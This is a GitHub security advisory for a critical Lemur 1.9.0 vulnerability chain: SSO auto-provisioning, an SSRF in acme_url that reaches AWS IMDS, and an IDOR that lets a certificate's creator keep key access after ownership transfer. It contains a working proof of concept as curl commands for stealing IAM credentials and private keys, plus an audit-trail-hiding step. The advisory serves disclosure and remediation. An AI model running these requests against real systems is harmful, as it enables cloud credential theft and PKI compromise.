Skip to content

Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

Critical severity GitHub Reviewed Published Jun 10, 2026 in Netflix/lemur • Updated Jun 25, 2026

Package

pip lemur (pip)

Affected versions

< 1.9.2

Patched versions

1.9.2

Description

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR

Vulnerability Summary

Field Value
Title Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Component lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWE CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack Prerequisite A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versions github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Executive Summary

A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.

Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf


Description

Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.

Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.

Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.

Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.

Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.

Proof of Concept & Steps to Reproduce

A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.

Prerequisites: Docker, curl, jq, openssl.

Run

cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh

The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.

Step 1 — Authenticate via SSO (sink 1)

curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'

Response (evidence/03_sso_provision_response.json):

{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "active": true,
    "auto_provisioned": true,
    "email": "attacker@evil.example",
    "id": 1,
    "roles": ["operator"]
  }
}

active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.

Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2)

curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'

Response (evidence/04_ssrf_authority_response.json):

{
  "acme_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role",
  "creator_id": 1,
  "id": 1,
  "name": "poc-acme",
  "ssrf_error": null,
  "ssrf_response_body": "{
  \"Code\": \"Success\",
  \"LastUpdated\": \"2026-05-27T20:00:00Z\",
  \"Type\": \"AWS-HMAC\",
  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",
  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",
  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",
  \"Expiration\": \"2026-05-27T22:00:00Z\"
}",
  "ssrf_response_status": 200
}

ssrf_response_status: 200 and an AWS-HMAC payload in ssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.

Step 3 — Exfiltrate STS credentials

The IMDS payload is evidence/05_exfil_sts_credentials.json:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA5LAB000FAKE0KEYS",
  "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
  "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
  "Expiration": "2026-05-27T22:00:00Z"
}

In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity.

Step 4 — Issue a certificate as the attacker (capture the private key)

curl -sS -X POST http://127.0.0.1:18000/api/1/certificates \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"authority_id":1,"common_name":"pki.netflix.example"}'
curl -sS http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response (evidence/06_key_fetched_pre_transfer.json):

{"creator_bypass":true,
 "key":"-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...
-----END RSA PRIVATE KEY-----
"}

The PoC harness annotates the response with creator_bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.

Step 5 — Transfer ownership to victim admin

curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"owner":"victim-admin@netflix.example"}'

owner is now victim-admin@netflix.example. creator_id is unchanged at 1 (the attacker). This is the audit-trail laundering step.

Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)

curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
  http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.

Step 7 — Verdict

VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR
1. SSO auto-provision    -- attacker@evil.example auto-created active=True
2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched
3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body
4. PKI key persists      -- creator can read private_key AFTER ownership xfer

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Root Cause Analysis

The SSRF sink is the load-bearing piece. acme_handlers.py:161-167 builds the directory_url from user-supplied options, and :188 and :201 hand it to ClientV2.get_directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.

The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current_user != cert.user: branch should now be if g.current_user != cert.user or cert.owner_changed_after_creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator_id.

The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had.

Attack Scenario

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur worker
    participant IMDS as 169.254.169.254
    participant CertDB as Lemur cert DB
Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Impact Assessment

The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.

The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common_name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.

The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.

Remediation

Four changes, in priority order:

  1. Allowlist acme_url. In acme_handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).
ALLOWED_ACME_HOSTS = current_app.config.get(
    "ACME_DIRECTORY_HOST_ALLOWLIST",
    {"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"}
)
parsed = urlparse(directory_url)
if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED_ACME_HOSTS:
    raise ValueError("acme_url host not allowlisted")
  1. Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current_user != cert.user: branch with an unconditional CertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.

  2. Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.

  3. Audit-log the creator on every key fetch, separately from g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator_id, current_owner, g.current_user.id, request IP, and full URL on every read of /certificates/<id>/key.

Related Context

External References

@PJ1288 PJ1288 published to Netflix/lemur Jun 10, 2026
Published to the GitHub Advisory Database Jun 25, 2026
Reviewed Jun 25, 2026
Last updated Jun 25, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

EPSS score

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-55166

GHSA ID

GHSA-v2wp-frmc-5q3v

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.